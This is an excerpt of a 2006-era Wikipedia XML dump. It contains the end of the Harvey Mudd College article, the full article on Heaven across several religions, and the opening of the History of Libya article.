* [[Richard Jones (diplomat)|Richard Jones]], 1972, former US [[Ambassador]] to [[Lebanon]], [[Kazakhstan]], [[Kuwait]], and Chief Policy Officer and Deputy Administrator of the [[Coalition Provisional Authority]] in [[Iraq]].
* [[George Nelson (astronaut)| George &quot;Pinky&quot; Nelson]], 1972, astronaut, flew on three [[space shuttle]] missions, and was the first American to walk in space without a tether to a spacecraft.
* [[Joseph Costello]], 1974, chairman and CEO of [[think3]], and former president and CEO of [[Cadence Design Systems]].
* [[Bruce Jay Nelson|Bruce Nelson]], 1974, inventor of the [[remote procedure call]] for computer communications.
* [[Susan Lewallen]], 1976, a member of the British Columbia Centre for Epidemiologic and International Ophthalmology and ophthalmologist for Third-World countries.
* [[Ned Freed]], 1982, co-author of the [[MIME]] email standard (RFCs 2045-2049).
* [[Jonathan Gay]], 1989, creator of [[Macromedia Flash|Flash]] software.
* [[Stan Love]], 1989, astronaut, currently a &quot;capcom&quot; or communications officer with the [[International Space Station]].
* [[Scott Stokdyk]], 1991, winner of the 2005 [[Academy Award]] for [[visual effects]] for [[Spider-Man 2]], and nominee for [[Hollow Man]] and [[Spider-Man]].
* [[Michael Elkins]], 1993, computer scientist, creator of the [[Mutt (e-mail client)|Mutt e-mail client]]. 
* [[Sage Weil]], 2000, inventor of the [[webring]] concept.
* [[Karl Mahlburg]], 2001, a mathematician who proved [[Freeman Dyson]]'s &quot;[[crank conjecture]]&quot; about certain congruences involving [[Partition_function_(number_theory)|partition functions]].

{{seealso|:Category:Harvey Mudd College alumni}}

==Trivia==
* Harvey Mudd College leads the nation in percentage of graduates who go on to earn a [[Ph.D.]] - well over 40% in recent years. Over 65% go on to earn at least a [[Master's degree]].
* In 1997, Harvey Mudd College became the sole American undergraduate-only institution ever to win 1st place in the [[ACM International Collegiate Programming Contest]]. [http://icpc.baylor.edu/past/icpc97/Report.html] No American school has won the world competition since then. [http://www.sfgate.com/cgi-bin/article.cgi?f=/c/a/2005/04/09/BUG9EC5LBI1.DTL]

==External links==
* [http://www.hmc.edu/ '''Harvey Mudd College''' - Official site]
* [http://www.hmc.edu/org/gonzo/ Gonzo Unicycle Madness]
* [http://www.hmc.edu/org/ashmc/policies/jb-db.html The HMC Honor Code - ASHMC home page]
* {{placeopedia|id=1412|title=Harvey Mudd College}}
{{SCIAC}}
{{Association of Independent Technological Universities}}

[[Category:Claremont Colleges]]
[[Category:Educational institutions established in the 1950s]]
[[Category:Independent Colleges of Southern California]]
[[Category:Universities and colleges in California]]</text>
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      <minor />
      <comment>corrected to Qur'an using [[Wikipedia:AutoWikiBrowser|AWB]]</comment>
      <text xml:space="preserve">:''&quot;Heaven&quot; is also a poetic synonym for [[sky]].'' For other uses, see [[Heaven (disambiguation)]].

[[Image:Michangello-lastJudgment-B.jpg|thumb|right|Michelangelo's interpretation of Heaven]]
'''Heaven''' is an [[afterlife]] concept found in many [[religion]]s or [[spirituality|spiritual]] [[philosophy|philosophies]].

Those who believe in heaven generally hold that it (or [[Hell]]) is the final [[afterlife]] destination of many or all humans.  In unusual instances, humans have had, according to many testimonies and traditions, personal knowledge of Heaven. They presume this is for the purpose of teaching the rest of humanity about life, Heaven, and [[God]]. 

==Conceptions==
[[Image:Dore-empyrean.jpg|thumb|[[Dante Alighieri|Dante]] and [[Beatrice Portinari|Beatrice]] gaze upon the highest Heaven; from [[Gustave Doré]]'s illustrations to the ''[[Divine Comedy]]''.]]
While there are abundant and varied sources for conceptions of Heaven, the typical believer's view appears to depend largely on his particular religious tradition.  Various religions have described Heaven as being populated by [[angel]]s, [[demon]]s, [[deity|gods and goddesses]], and/or [[hero]]es (especially in [[Greek mythology]]). Heaven is generally construed as a place of [[eternity|eternal]] [[happiness]]. The relationship between this concept and the [[celestial sphere]] is generally believed to have been first proposed by the [[ancient history|ancient]] [[astronomer]]-[[priest]]s (see also: [[astrologer]]). 

The belief in heaven appears to have supplanted the earlier concept of [[Sheol]] (mentioned in Isaiah 38:18, Psalms 6:5 and Job 7:7-10).

Jewish converts to this concept of heaven and hell included the group known as the [[Pharisees]]. The larger, dogmatically conservative [[Sadducees]] maintained their belief in Sheol. While it was the Sadducees that represented the Jewish religious majority it was the Pharisees who best weathered Roman occupation, and their belief in Zoroaster's heaven and hell was passed on to both Christianity and Islam (in which heaven is referred to as [[Jannah]]).

In [[Christianity]], heaven is a return to the pre-fallen state of humanity, a second and new [[Garden of Eden]], in which humanity is reunited with God in a perfect and natural state of eternal existence. Christians believe this reunion is accomplished through the redemptive work of Jesus Christ in having died for the sins of humanity on the cross.

In Eastern religions (and some Western traditions), with their emphasis on [[reincarnation]] and [[moksha]] or [[nirvana]] (ultimate salvation), the concept of Heaven is not as prominent, but it still is present. In [[Hinduism]] or [[Buddhism]], for example, there are several heavens, and those who accumulate good [[karma]] will go to a heaven; however their stay in the heaven is not eternal &amp;mdash; eventually they will use up their good [[karma]] and be reincarnated in another realm, as [[human]], [[animal]], or other beings. While heaven is temporary, the permanent state that members of these religions aspire to are [[Moksha]] or [[Nirvana]]. In the native [[China|Chinese]] [[Taoist]] traditions Heaven is an important concept, where the ancestors reside and from which emperors drew their mandate to rule in their dynastic propaganda, for example.
In [[Hindu]] belief, likewise, heaven&amp;mdash;called [[Swarga loka]]&amp;mdash;is seen as transitory place for souls who did good deeds but whose actions are not enough for [[moksha]] or absolute bliss with God.

The popular belief of most faiths (especially in the West) is that one enters heaven at the moment of death. This, however, is ''not'' part of the doctrine of most of Christianity (see [[Swedenborgianism]] for a Christian religion that ''does'' have this doctrine). It along with other major religions maintains that entry into Heaven awaits such time as, &quot;When the form of this world has passed away.&quot; 

Two related and often confused concepts of heaven in Christianity are better described as the &quot;resurrection of the body&quot;, which is exclusively of Biblical origin, as contrasted with &quot;the immortality of the soul&quot;, which is also evident in the Greek tradition. In the first concept, the soul does not enter heaven until the last judgement or the &quot;end of time&quot; when it (along with the body) is resurrected and judged. In the second concept, the soul goes to a heaven on another plane immediately after death. These two concepts are generally combined in the doctrine of the double judgement where the soul is judged once at death and goes to a temporary heaven, while awaiting a second and final physical judgement at the end of the world. (*[http://www.vatican.va/holy_father/john_paul_ii/audiences/1999/documents/hf_jp-ii_aud_21071999_en.html&quot;   JPII], also see [[eschatology]], [[afterlife]])

==Location==
The idea of Heaven as a physical place has existed since the dawn of religion and human civilization. In some early religions (such as the [[Egyptian mythology|Ancient Egyptian faith]]), Heaven was a physical place far above the Earth in a &quot;dark area&quot; of space where there were no stars, basically beyond the Universe. Departed souls would undergo a literal journey to reach Heaven, along the way to which there could exist hazards and other entities attempting to deny the reaching of Heaven.

One popular medieval view of Heaven was that it existed as a physical place above the clouds and that God and the Angels were physically above, watching over man. With the dawn of the [[The Age of Enlightenment|Age of Reason]], science began to challenge this notion; however Heaven as a physical place survived in the concept that it was located far out into space, and that the stars were &quot;lights shining through from heaven&quot;.  

In [[science fiction]], several films and literature sources have suggested that, through advanced technology, Heaven can be reached by the living through conventional means.  Such was the case in the [[The Walt Disney Company|Disney]] film ''[[The Black Hole]]'', in which a manned spacecraft found both Heaven and Hell located at the bottom of a [[Black Hole]].

In the modern age of science and space flight, it is widely assumed that Heaven is not a physical place in this universe. Religious views, however, still hold Heaven as having a dual status as a concept of mind or heart, but also possibly still a physical place existing on another &quot;plane of existence&quot;, or perhaps at a future time.  Obviously, there is no scientific evidence for the existence of such a dimension, an area of the universe, or alternate reality where Heaven physically exists; however in these belief systems, the failure of science to prove or find evidence for its existence is generally of little or no relevance.

==Getting into Heaven==
Religions that teach about heaven differ on how (and if) one gets into it.  In most, entrance to Heaven is conditional on having lived a &quot;good life&quot; (within the terms of the spiritual system).  A notable exception to this is the 'sola fide' belief of mainstream Protestantism, which takes emphasis off having lived a &quot;good life&quot; and teaches that entrance to heaven is conditional on faith in Jesus Christ alone, and not on any other good or bad 'works' one has participated in.
Many religions state that those who do not go to heaven go to a place of punishment, [[Hell]], which may or may not be eternal (see [[Annihilationism]]). A very few (the followers of [[universalism]]) believe that everyone will go to Heaven eventually, no matter what they have done or believed on earth.

==Heaven in Roman Catholicism==
In [[Roman Catholicism]] Heaven is the Physical Realm of God,the Archangels, the Angels, and the Saints.  The present [[Roman Catholic Church|Roman Catholic]] teaching regarding Heaven is found in the ''[[Catechism of the Catholic Church]]'': &quot;Those who die in God's grace and friendship and are perfectly purified live forever... This perfect life with [God]....is called heaven.  [It] is the ultimate end and fulfilment of the deepest human longings, the state of supreme, definitive happiness.&quot;  

Upon dying, the soul goes to what is called &quot;the particular judgement&quot; where their afterlife is decided (e.g. Heaven (after going through Purgatory) or [[Hell]].) This is different from &quot;the general judgement&quot; also known as &quot;the last judgement&quot; which will occur when Christ returns to judge the living and the dead.

It is a common Roman Catholic belief that St. Michael the Archangel carries the soul to Heaven. The belief that Saint Peter meets the soul at the &quot;Pearly Gates&quot; is an artistic application of the belief that Christ gave Peter, the first [[Pope]], the keys to Heaven.

As Heaven is a place where only the pure are permitted, no person who dies in a state of sin can enter Heaven. ''&quot;Those who die in God's grace and friendship and are perfectly purified live for ever with Christ. They are like God for ever, for they &quot;see him as he is,&quot; face to face.&quot;'' (Catechism of the Catholic Church §1023)
''&quot;Those who die in God's grace and friendship imperfectly purified, although they are assured of their eternal salvation, undergo a purification after death, so as to achieve the holiness necessary to enter the joy of God.&quot;'' (Catechism of the Catholic Church §1054)

If one were baptized validly and then died, one would go directly to heaven (in the Roman Catholic belief, the sacrament of [[baptism]] dissolves the eternal and temporal punishment of all sins). If one never committed a mortal [[sin]] and were absolved of all his venial sins just before death, one would go directly to Heaven.

Most people who enter Heaven go through [[Purgatory]] (or &quot;place of purification&quot;). In Purgatory, a soul pays off all temporal punishment one deserved for the sins he committed in life. This does not always happen though. If one receive the sacrament of Confession validly, as well as gain a plenary indulgence, and die, one would directly go to heaven. There are many ways to get an indulgence, in various Papal decrees or publications [http://www.zenit.org/english/visualizza.phtml?sid=64735][http://www.cwnews.com/news/viewstory.cfm?recnum=40979]. To receive a plenary indulgence, one must receive the sacrament of Confession validly, do one's penance, validly receive Communion, say some specified number of [[Our Father]]s, [[Hail Mary]]s and [[Glory Be]]s for the intentions of the Pope, and then perform some act of gaining the indulgence. Of course, one must remain free from all sin, mortal and venial, while doing all these things. 

Many people believe they need to gain many plenary indulgences so they will not have to spend as much time in purgatory.
Many Catholic dissenters claim that if one is actually detached from all [[sin]], one doesn't need the indulgence anyway.

==Heaven in Orthodox Christianity==
The teachings of the [[Eastern Orthodox Church|Eastern Orthodox]] and [[Oriental Orthodox]] communions regarding the Kingdom of Heaven, or Kingdom of God, is basically taken from scripture, and thus many elements of this belief are held in common with other scriptural faiths and denominations.  Some specific descriptions of this Kingdom as given in [[Bible]] [[prophecy]] include - (this list is by no means comprehensive):

* ''Peaceful Conditions on a New Earth'' - Is. 2:2-4, 9:7, 11:6-9, 27:13, 32:17-18, 33:20-21, 60:17-18, Ez. 34:25-28, 37:26, Zech 9:10, Matt. 5:3-5, Rev. 21 
* ''Eternal Rule by a Messiah-King'' - Ps. 72, Jer 31:33-34, Zech 2:10-11, 8:3, 14:9, Matt 16:27, Rev 21:3-4
** an heir of David, Is. 9:6-7, 11:1-5
* ''Bodily perfection'' - No hunger, thirst, death, or sickness; a pure language, etc. - Is. 1:25, 4:4, 33:24, 35:5-6, 49:10, 65:20-24, Jer. 31:12-13, Ez. 34:29, 36:29-30, Micah 4:6-7, Zeph. 3:9-19, Matt 13:43
* ''Ruined cities inhabited by people and flocks of sheep'' - Is. 32:14, 61:4-5, Ez. 36:10,33-38, Amos 9:14

==Heaven in Protestant Christianity==
Historically, [[Christianity]] has been divided over how people gain entry into Heaven. From the [[16th century|16th]] to the late [[19th century]], [[Christendom]] was divided between the [[Roman Catholic Church|Roman Catholic]] and [[Eastern Orthodox Church|Orthodox]] views on the one hand, and the [[Protestantism|Protestant]] views on the other.

In the [[Roman Catholic Church|Catholic]] and [[Eastern Orthodox Church|Eastern Orthodox]] traditions, entry into Heaven depends upon the Christian receiving God's grace through the activities of the church. This would include [[sacrament]]s such as [[Baptism]], the [[Eucharist]] and [[Confession]]. Roman Catholics believe that entering [[Purgatory]] after death cleanses one of one's [[sin]]s and makes one acceptable to enter Heaven. Many within the [[Anglicanism|Anglican Church]] also hold to this belief, despite their Protestant history. However, in [[Oriental Orthodox Church]]es, it is only [[God]] who has the final say on who enters Heaven, and not the Church. 

In the [[Protestantism|Protestant]] tradition, entry into Heaven depends upon the Christian receiving God's grace through [[faith]] in [[Jesus]]. Protestant theology holds strongly that when Jesus died on the cross, he took upon himself the punishment for the world's sins. In contrast with the Catholic position (affirmed and described at the [[Council of Trent|Council of Trent]] in the 16th century), most Protestants hold that salvation is obtained &quot;sola gratia, sola fide&quot; - by the grace of God alone, through faith in Christ alone - not through living a good life or through belonging to a particular church organisation.  Therefore, any person who sincerely has faith in Christ and asks for God's forgiveness will automatically be granted forgiveness for their sins and has the assurance of going to Heaven.  

The Protestant tradition is divided into many different strands of thought, though most positions today can be categorised broadly as either [[Calvinist]] or [[Arminianism|Arminianist]]. [[Calvinism]] argues that entry into Heaven has already been [[predestination|predetermined]] by God - that all those who are Christians have in fact been chosen from the beginning of time to be saved. Faith in Christ is still essential, but the reason why a Christian has faith is because God has chosen them beforehand. [[Arminianism|Arminians]] hold a modified form of this doctrine. In this case, a person can choose to have faith in Christ out of their free will and is not compelled to by divine power. A detailed examination of the differences between these two protestant strands of thought are examined in their respective articles. 
Many critics of Protestant theology see a contradiction between the idea that a person obtains salvation through choosing to put his/her faith in Christ, and the idea that God predestined those who would enter heaven.  However, neither the [[Paul of Tarsus|Apostle Paul]] nor [[Polycarp]] seemed to see a paradox between the true God's sovereignty and mankind's ability to perceive and choose.  Many Protestants hold that both ideas are taught clearly in the Bible; they teach that eternal salvation in Heaven with God is a supreme free gift [[divine grace]] made available to &quot;whosoever will&quot; trust in the Lord Jesus Christ alone for His full payment.

While these divisions still exists within the Protestant church, since the early [[20th century]] few Protestant churches have adopted a Universalist approach.

Although [[Protestantism|Protestants]] believe that eternal life, entering heaven, is granted by placing one's faith in [[Jesus|Christ]] alone, they still generally believe that people who have lived blatantly evil lives will be denied entry to heaven.  It is widely believed that it is insufficient to simply belong to a faith and verbally express a belief in Christ, but one must also live by His teachings and live a good and decent life.   Blatant disobedience to God and living an evil life is seen by some Protestants as evidence that a person was never really sincere in making a confession of faith in Jesus Christ, and by other Protestants as evidence that a person has 'fallen away' from their original confession of faith.  The distinction between Catholic theology and Protestant theology here is that Catholism teaches that one can enter heaven by having faith in Christ and also living a good and decent life, while most streams of Protestant theology contend that salvation is by [[divine grace]] (alone) through [[faith]] (i.e. trust, alone) in the person and work of Jesus, alone, but that a person who doesn't live a good and decent life probably doesn't really have true, sincere faith in Christ. See also [[Salvation]]. 

Heaven is an especially interesting doctrine in Christian thought, which has the resurrection of the body dominating the concept of afterlife.  The intermediate state (between death and the resurrection) is unclear in Christian thought (see the article on [[psychopannychism]]). However the final state of believers is in an incorruptible, resurrected, and new body, living in the [[New Jerusalem]], which descends from Heaven to the Creation.  The person was never meant to be disembodied. Death is not a natural part of life, but was allowed to happen after [[Adam and Eve]] disobeyed [[God]] (see [[original sin]]) so that mankind would not live forever in a state of [[sin]] and thus a state of separation from God. The Greek &quot;hê basileia tous ouranous&quot;, usually translated as &quot;the [[Kingdom of Heaven]]&quot;, is indeed more literally &quot;the rule of the skies&quot;, with &quot;the skies&quot; a codeword for [[God]]. Thus most Christians interpret it as a state, rather than a place.

[[Jehovah's Witnesses]] reject the idea of heaven as the final hope and home for humanity; in their view only a few people including the Apostles (John 14:1-3; Rev. 5:9,10; 14:1-5) will go to Heaven to rule the remainder of good people (including [[David]] and [[John the Baptist]]), who will inherit the Earth to live forever ([[Matthew 5:5|Matt. 5:5]]; Acts 2:34; Rev. 21:3-5). [[Christadelphians]] believe that all who are saved will live on Earth for eternity after the resurrection.

Many Christians believe that the &quot;wealth&quot; of heaven is nonmaterial; its blessings are forever, and cannot be tarnished, destroyed or taken away. Some of these will be enjoyed by redeemed people after death such as enjoying the actual presence of God (Rev 22.3-4) and the absence of pain and sorrow (Rev 21.4), while some are enjoyed in the present life, such as peace (Ph 4.7) and joy (Jn 16.22).

==Heaven in Islam==
The concept of heaven in [[Islam]] is similar to that found in Judaism and Christianity.  The [[Qu'ran]] is filled with references to an afterlife in Eden for those who do good deeds.  Heaven itself is commonly described in the [[Qu'ran]] in verse 35 of Surah Al-Ra¹d: &quot;The parable of the Garden which the righteous are promised! Beneath it flow rivers: Perpetual is the fruits thereof and the shade therein:Such is the End of the Righteous; and the end of the unbelievers is the Fire.&quot; wherein a person dwells forever.  Since Islam rejects the concept of [[original sin]], Muslims believe that all human beings are born pure and will naturally turn to God, but it is their environment which influences them to choose ungodly ways of life.  In Islam, therefore, a child who dies automatically goes to heaven, regardless of the religion of his or her parents.  The highest level of heaven is Firdaws (فردوس), which is where the prophets, the martyrs and the most truthful and pious people will dwell.

----
[[Qu'ranic Names of Heaven:]]
----

Jannat–This name has been used most commonly in the Qur’an and Hadith. (Al-Baqarah: 35, Al-e-Imran: 133, 142, Al-Maidah: 72)

Dar-us-Salam–This means the Home of Peace (Yunus: 25)

Jannat-ul-Khuld–The Eternal Gardens. (Al-Furqan: 15)

Darul-Maqamah–The Home (Fatir: 35)

Jannat-e-Adan–Gardens of Everlasting Bliss (Tauba: 72, Ar-Rad: 23)

Darul-Hywan–But verily the Home in the Hereafter–that is life indeed, if they but knew. (Al-Ankabut: 64)

Jannat-un-Naeem–The Gardens of Delight. (Al-Maida: 65 Yunus: 9 Al-Haj: 56)

Al-Maqam-al-Ameen–The House of Security (Ad-Dukhan: 51)

Jannat-ul-Mawa–Garden of Abode (An-Najm: 15)

Maqad-as-Sidq–Assembly of Truth (Al-Qawr: 55)

Qadam-as-Sidq-Assembly ofTruth (Al-Qawr:55).

Firdous–The Highest Gardens of the Heaven (Al-Kahaf: 107, Al-Muminoon: 11) 

----
[[Small Description of Jannath]] : 
----

The Prophet of Allah (Sallalahou Al'aihe Was-salam) said:

Hadith implies that the heaven has eight doors: Whoever performed a perfect ablution and recited shahadah then all the eight doors of the heaven are thrust open for him–he may enter from whichever door he likes. (Sahih Muslim).

By Him in whose hands my soul is, the distance between the two gate posts of paradise is like the distance between Makkah and Himyar or between Makkah and Basra (Bukhari).

Indeed, there are hundred grades of the Heaven and the distance between the two grades is as great as between the heaven and earth. Allah has prepared these grades for those who perform Jihad in the way of Allah. (Bukhari) 

When you pray ask for Firdous, for it is in the middle of heaven and is higher in grade than the heaven and above Firdous is Allah’s throne, moreover the canals of heaven flow from Firdous. (Bukhari)

And then I was showed in the heaven, I saw there were camps made of pearls and the soil was of musk. (Bukhari)

The Qur’an says of the dwellers of the heaven: They will see there neither the sun’s (excessive heat) nor the moon’s excessive cold. 

Indeed, there is a tree in heaven so big that if a person keeps riding on a brisk Madhamar (a specially bred horse) for a hundred years even then he would not reach the end of that tree. (Bukhari)

Abu Huraira (RA) reported that the Prophet of Allah (SAW) said:

There is no tree in the heaven that does not have a trunk of gold. (Muslim) 

There is a tree in the heaven, which will manufacture robes for the dwellers of the heaven. That tree is called Tuba.

A hadith has these words about this tree.

Tuba is a tree in the heaven, which spreads out as much as a distance that can be covered in a hundred years. Robes for the dwellers of the heaven will sprout from its buds. 

The Prophet of Allah (SAW) said:

In the night of Isra when I met Ibrahim (AS) he said: O Muhammad (SAW) tell your people that the heaven has pure soil and sweet water but the land is bare. If they want to plant trees in the heaven, they should say Subhan Allah Al-Hamdulillah and Allah Akbar. 

Indeed, there will be a mansion made of pearls for a believer. It will be spread over an area of 60 miles, and in it will be the household of a believer who will visit them but they will not be able to see each other. (Bukhari)

Sleep is the sisiter of death and the dwellers of the heaven will not sleep (Silsalatul Ahadith)

Indeed, there is a bazaar in the heaven where the dwellers of the Heaven will come on every Friday. The northerly wind will spray scent on them and this will enhance their beauty. And when they will return to their homes, their households will say &quot;By Allah, your beauty has enhanced.&quot; &quot;So has yours,&quot; they will return the compliment. (Muslim)

In short, they will be overwhelmed by Allah’s favours.

And when you look, it is there you will see a bliss and a realm magnificent. (Ad-Dahr: 20) 

When Allah Almighty created the heaven and the hell, He asked Jibraeel to go and take a look at what He has prepared for believers in the Heaven. Jibraeel went and had a look at what was there in the Heaven, and then he came back and expressed himself thus: By your dignity! Whoever will hear of this Heaven will certainly strive for it. Then it was said that the road to the heaven is littered with hardships, and Jibraeel was asked to take another look at the Heaven. He came back and said, &quot;By your dignity I am afraid that nobody will be able to enter it. (Tirmizee)

==Heaven in the Bahá'í Faith==
For Bahá'ís, entry into the next life has the potential to bring great joy. [[Bahá'u'lláh]] likened death to the process of birth. He explains: &quot;The world beyond is as different from this world as this world is different from that of the child while still in the womb of its mother.&quot; The analogy to the womb in many ways summarizes the Bahá'í view of earthly existence. Just as the womb constitutes an important place for a person's initial physical development, the physical world provides the matrix for the development of the individual soul. Accordingly, Bahá'ís view life as a sort of workshop, where one can develop and perfect those qualities which will be needed in the next life. 

&quot;Know thou, of a truth, that if the soul of man hath walked in the ways of God, it will, assuredly return and be gathered to the glory of the Beloved,&quot; Bahá'u'lláh wrote. &quot;By the righteousness of God! It shall attain a station such as no pen can depict, or tongue can describe.&quot; 

In the [[Bahá'í Faith]], heaven can be seen partly as a state of nearness to God; [[hell]] being a state of remoteness from God. Each state follows as a natural consequence of individual efforts, or the lack thereof, to develop spiritually. The key to spiritual progress is to follow the path outlined by the Manifestations of God.

==Heaven in Judaism==
While the concept of heaven (''malkuth hashamaim'' מלכות השמים - The [[Kingdom of Heaven]]) is well-defined within the [[Christianity|Christian]] and [[Islam|Islamic]] religions, the [[Jewish eschatology|Jewish concept of the afterlife]], sometimes known as &quot;olam haba&quot;, the world to come, was never set forth in a systematic or official fashion as was done in Christianity and Islam. Jewish writings refer to a &quot;new earth&quot; as the abode of humanity following the resurrection of the dead.  Judaism does, however, have a belief in Heaven, not as a future abode for &quot;good souls&quot;, but as the &quot;place&quot; where [[God]] &quot;resides&quot;. [[kabbalah|Jewish mysticism]] recognizes seven heavens.

== Heaven in Hinduism ==
In Hinduism, with it's emphasis on [[reincarnation]], the concept of Heaven is not as prominent. While heaven is temporary (until the next birth), the permanent state that Hindus aspire to is [[Moksha]]. Moksha is seen as the soul's liberation from the cycle of life and death, a re-establishment in one's own fundamental divine nature and may include union with or joining God. 

Entry into heaven ([[swarga]] loka) or hell ([[Naraka]]) is decided by the Lord of death [[Yama]] and his [[karma|karmic]] accountant, [[Chitragupta]], who records the good and bad deeds of a person during his lifetime. It must be noted that Yama and Chitragupta are subordinate to the supreme Lord [[Ishwara]] ('''God''') and work under his direction. Entry into heaven is only dependent on ones actions in the previous life and is not restricted by faith or religion. The ruler of heaven, where one enjoys the fruits of ones good deeds, is known as [[Indra]] and life in that realm is said to include interaction with many celestial beings (gandharvas).

==See also==
*[[Afterlife]]
*[[Astral projection]]
*[[Elysium]]
*[[Eschatology]]
*[[Hell]]
*[[Islamic eschatology]]
*[[Jannah]]
*[[Kingdom of Heaven]]
*[[Limbo]]
*[[Mag Mell]]
*[[Nirvana]]
*[[Out-of-body experience]]
*[[Purgatory]]
*[[Pure Land Buddhism]]
*[[Summerlands]]
*[[Svarga]]
*[[The Divine Comedy]]
*[[Utopia]]
*[[Vaikuntha]]
*[[Valhalla]]

==External links==
*[http://www.scborromeo.org/ccc/p123a12.htm Catechism of the Catholic Church &quot;I believe in Life Everlasting&quot;] Explanation of Catholic teaching about Heaven, Hell &amp; Purgatory
*[http://www.yourquotations.net/Heaven.html Famous Quotes on Heaven]
*[http://www.many-lives.com/lives/paradise.html  Salavation Versus Liberation, A Buddhist View of the Paradise or Heavenly Worlds]
* [http://www.Qu'ranichealing.com/bp.asp?caid=68 Everlasting Life in Paradise according to Qu'ran] Seven Steps rising to the heavens 
* [http://lorabeth.com/lorafiles/loss/heaven/theology.htm  Christian Theological Views of Heaven]
* [http://lorabeth.com/lorafiles/loss/heaven/betty.htm  Personal Accounts (NDEs &amp; Visions) of Heaven] 
*[http://plato.stanford.edu/entries/heaven-hell/ Stanford Encyclopedia of Philosophy entry on Heaven and Hell]
*[http://www.bbc.co.uk/radio4/history/inourtime/inourtime_20051222.shtml Heaven] from [[In Our Time (BBC Radio 4)]]

&lt;!-- The below are interlanguage links. --&gt;

[[Category:Jewish mysticism]]
[[Category:Christian eschatology]]
[[Category:Life after death]]
{{Heaven}}
[[de:Himmel (religiös)]]
[[es:Cielo (religión)]]
[[fr:paradis]]
[[id:Sorga]]
[[it:Paradiso]]
[[ja:天国]]
[[nl:Hemel]]
[[pl:niebo]]
[[ro:rai]]
[[ru:Рай]]
[[sco:Hieven]]
[[sr:Рај]]
[[simple:Heaven]]
[[zh:天國]]</text>
    </revision>
  </page>
  <page>
    <title>History of Libya</title>
    <id>13812</id>
    <revision>
      <id>41861718</id>
      <timestamp>2006-03-02T05:16:52Z</timestamp>
      <contributor>
        <username>AlbertR</username>
        <id>331014</id>
      </contributor>
      <minor />
      <comment>fmt</comment>
      <text xml:space="preserve">[[Image:Leptis Magna market place April 2004.jpg|300px|thumb|right|Ruins of [[Leptis Magna]] in Libya]]

The visible '''history of Libya''' is a flux of stronger and weaker control by outsiders. The ''invisible'' unwritten history of Libya includes the history of its rich mix of peoples added to the indigenous [[Berber]] tribes. For most of their history, the peoples of Libya have been subjected to varying degrees of foreign control. The modern history of independent Libya begins in 1951.

==Ancient Libya (Tripolitania and Cyrenaica) to 647 CE==
Since Neolithic times, the climate of North Africa has been drying. A reminder of the [[desertification]] of the area is provided by megalithic remains, which occur in great variety of form and in vast numbers in presently arid and uninhabitable wastelands: dolmens and circles like [[Stonehenge]], cairns, underground cells excavated in rock, barrows topped with huge slabs, and step-pyramidlike mounds. Most remarkable are the [[trilithon]]s, some still standing, some thrown down, which occur isolated or in rows, and consist of two squared uprights standing on a common pedestal that support a huge transverse beam. In the Terrgurt valley &quot;there had been originally no less than eighteen or twenty megalithic trilithons, in a line, each with its massive altar placed before it&quot; according to Cowper.

In ancient times, the [[Phoenicia]]ns and [[Carthage|Carthaginians]], the armies of [[Alexander the Great]] and his [[Ptolemaic empire|Ptolemaic]] successors from Egypt, then [[Rome|Romans]], [[Vandal]]s, and local representatives of the [[Byzantine Empire]] ruled all or parts of Libya.

The territory of modern Libya had separate histories until Roman times, as Tripoli and Cyrenaica.

[[Tripoli]], was originally a group of Phoenician colony dependent on [[Carthage]]. Phoenicians founded the three great cities (''tri + polis'') of [[Oea]], Sabrata and [[Leptis Magna]] (site of magnificent Roman ruins). Carthage and its dependencies fell to Rome after the [[Third Punic War]].  Tripoli is the ancient sea port at the terminus of three great caravan routes linking the coast with [[Lake Chad]] and [[Timbuktu]] across the Sahara. Near the port of Tripoli stands a Roman triumphal arch with four richly sculpured fronts  of white marble, the blocks being held together with cramps.  It was begun in the reign of the emperor [[Antoninus Pius]], according to a still-unmutilated dedicatory inscription, and finished under [[Marcus Aurelius]].

[[Cyrenaica]], by contrast, was Greek before it was Roman. It was also known as Pentapolis, the &quot;five cities&quot; being [[Cyrene, Libya|Cyrene]] (near the village of Shahat) with its port of Apollonia (Marsa Susa), Arsinoe (Tocra), Berenice (Bengazi) and Barca (Merj).  From the oldest and most famous of the [[Greek colonies]] the fertile coastal plain took the name of Cyrenaica.

==Islamic Tripolitania and Cyrenaica 642-1911==
[[Image:Age of Caliphs.gif|225px|thumb|right|The Age of the Caliphs]]
With tenuous Byzantine control over Libya restricted to a few poorly defended coastal strongholds, the Arab horsemen who first crossed into Pentapolis, Cyrenaica in September 642 encountered little resistance. Under the command of [[Amr ibn al-A'as]], the armies of Islam conquered Cyrenaica, renaming the city of Pentapolis, Burqa.

From Burqa, Uqba bin Nafe led a campaign against Fezzan, marching to Zaweela, the capital of Fezzan. No resistance was offered, and the entire district submitted to the Muslims agreeing to pay Jizya. A clause was further inserted in the peace treaty that part of the Jizya coming from the district was to be spent on the poor of the area.   

In 647 an army of 40,000 [[Arab]]s, led by [[Abdallah ibn al-Sa’ad]], the foster-brother of Caliph [[Uthman ibn Affan]], penetrated further into western Libya. Tripoli was taken from the Byzantines, followed by [[Sufetula]], a city 150 miles south of [[Carthage]], where the Exarch Gregory, was killed. The campaign lasted fifteen months, after which Abdallah's force returned to [[Egypt]] after Gregory's successor Gennadius promised them an annual tribute of some 330,000 nomismata. Gennadius also sent the usual surplus of revenues over expenditures to Constantinople, but otherwise administered Africa as he liked. The new Exarch's greatest source of strength was from the [[Amazigh]] tribes&amp;mdash;the Sanhaja-Awrabi, Zenata, Shawia, Hoda and others. When Gennadius refused to pay the additional sums demanded from Constantinople, his own men overthrew him.

Following the revolt Gennadius fled to Damascus and asked for aid from [[Muawiyah]], to whom he had paid tribute for years. The caliph sent a sizable force with Gennadius to invade Africa in 665. Even though the deposed exarch died after reaching [[Alexandria]], the Arabs marched on. From Sicily the Byzantines dispatched an army to reinforce Africa, but its commander Nicephorus the Patrician lost a battle with the Arabs and reembarked. [[Uqba ibn Nafi]] and [[Abu Muhajir al Dinar]] did much to promote Islam and in the following centuries most of the indigenous peoples converted. However, the social character of Libya remained overwhelmingly Amazigh. 

In 750 the [[Abbasid dynasty]] overthrew the [[Ummayad]] caliph and shifted the capital to [[Baghdad]], with emirs retaining nominal control over the Libyan coast on behalf of the far-distant caliph. In 800 Caliph [[Harun ar-Rashid]] appointed [[Ibrahim ibn al-Aghlab]] as his governor. The [[Aghlabids]] dynasty effectively became independent of the Baghdad caliphs, who continued to retain spiritual authority. The Aghlabid emirs took their custodianship of Libya seriously, repairing Roman [[irrigation]] systems, restoring order and bringing a measure of prosperity to the region. 

